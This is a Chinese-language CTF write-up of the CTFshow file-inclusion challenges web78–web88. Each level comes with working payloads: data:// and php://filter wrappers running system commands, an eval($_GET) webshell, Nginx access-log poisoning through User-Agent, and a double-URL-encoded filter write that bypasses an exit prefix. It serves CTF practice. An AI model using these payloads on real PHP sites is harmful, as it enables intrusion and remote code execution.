CTFshow_web_include

78-88+116-117

Q&A

  1. web78中为什么不能使用文件包含闭合,文件包含可以闭合吗
  2. web80中为什么使用日志文件包含时ua使用””会爆错误,使用单引号就过来了
  3. web80中没法使用PHP,DATA大写绕过

web78(文件包含+伪协议)

  • 解题
  1. 普通文件包含,使用data伪协议进行文件包含
  2. payload:file=data://text/plain,<?php system(“tac flag.php”)?>
  3. payload2:file=php://filter/read=convert.base64-encode/resource=flag.php

web79(文件包含+伪协议+嵌套绕过)

  • 解题
  1. 相比web78多过滤了php,使用php伪协议受限,考虑使用data(可以使用<?=)+嵌套绕过,美滋滋
  2. payload:file=data://text/plain,<?= eval($_GET[1]) ?>&1=system(“tac flag.php”);
  3. 也可以尝试编码绕过
  4. payload2:file=data://text/plain;base64,PD9waHAgc3lzdGVtKCJscyIpPz4=

web80(文件包含+伪协议)

  • 解题
  1. 本来想大小写绕过,but老是报warning,马萨卡是大小写敏感的
  2. 还是用日志文件包含,包含日志文件/var/log/nginx/access.log后发现有user-agent头部
  3. 将user-agent头部改成要执行的php代码即可
  4. payload:file=/var/log/nginx/access.log再在user-agent那里写<?php system(‘cat fl0g.php’) ?>
  • 文件包含相关知识点
  1. 日志文件包含
    1. /var/log/nginx/access.log是Nginx web服务器的访问日志文件路径
    2. 在 Linux 系统中,Nginx 的日志文件通常存储在 /var/log/nginx/ 目录下。access.log 文件包含了关于每个发往服务器的请求的详细信息
    3. Nginx(发音为”engine-x”)是一个开源的、高性能的、可靠的、多功能的 HTTP 服务器和反向代理服务器
    4. 原理:不管包含的文件是骡子是马,都将其拉出来放在页面上,那么被标明php代码的文件自然会被识别,其他地方自然该报错报错,和我们无关(php文件包含特性)
  2. 也可使用php:input协议
    1. hackbar的好像有点问题,使用bp就一路顺畅
  3. php为协议是大小写不敏感的

web81(日志文件包含)

  • 解题
  1. 题目这样搞:没法用一点伪协议,使用日志文件包含
  2. 日志文件包含都试一下,试出来是nginx+linux的
  3. payload:file=/var/log/nginx/access.log再在ua处<?php system(‘tac fl0g.php’)?>

web87(文件包含+死亡exit)

  • 解题
  1. 看题是死亡代码类型,还好使用base64-decode来进行绕过
  2. 浏览器自动urldecode一次,file还有urldecode一次,所以file要进行urlencode两次,这样decode一次后进行的过滤实际上是都没用的(要对url的所有字符包括字母也进行urlencode)
  3. phpdie6个字符要凑两个字母组成4*N可以被base64decode
  4. payload:file=%2570%2568%2570%253a%252f%252f%2566%2569%256c%2574%2565%2572%252f%2577%2572%2569%2574%2565%253d%2563%256f%256e%2576%2565%2572%2574%252e%2562%2561%2573%2565%2536%2534%252d%2564%2565%2563%256f%2564%2565%252f%2572%2565%2573%256f%2575%2572%2563%2565%253d%2566%256c%2561%2567%252e%2570%2568%2570(php://filter/write=convert.base64-decode/resource=flag.php)再在post取余content=aaPD9waHAgc3lzdGVtKCdscycpPz4=(aa补6个为8,<?php system(‘ls’)?>)
  5. 最后切换到flag.php(人为创建的)即可看到ls内容,because浏览器中访问php文件,解析器会进行执行
  • 文件包含知识点补充
  1. 浏览器会自动进行一次url解码,代码中又有对file进行一次urldecode,所以需要对file内容进行两次url编码来抵消
  2. file_put_contents(filename, data, mode, context);
    1. data: 要写入的数据,可以是字符串、数组或流资源
    2. mode(可选): 写入模式,默认是 0(写入),可以是 FILE_USE_INCLUDE_PATH(在 include_path 中搜索文件)和其他一些选项的组合。详情可以查看 PHP 官方文档。
    3. context(可选): 上下文资源,可以包含各种设置,例如代理设置、超时设置
  3. 对字母进行urlencode见CTFER文件包含系列

web88(base64编码+data伪协议)

  • 解题
  1. 这道题这里使用base64编码可以绕过()括号的过滤,but还过滤了+=两个符号,要理解base64的原理来进行绕过
  2. payload:file=data://text/plain;base64,PD9waHAgIHN5c3RlbSgndGFjIGZsMGcucGhwJyk7
  • 文件包含补充知识点
  1. base64将每三位8bit字符变为4位6bit字符,不足的会补0再用=填充
  2. 去除+号结尾需要对8bit字符的结尾进行处理,出现在没有=号时情况,就不要使用?>结尾了直接;就好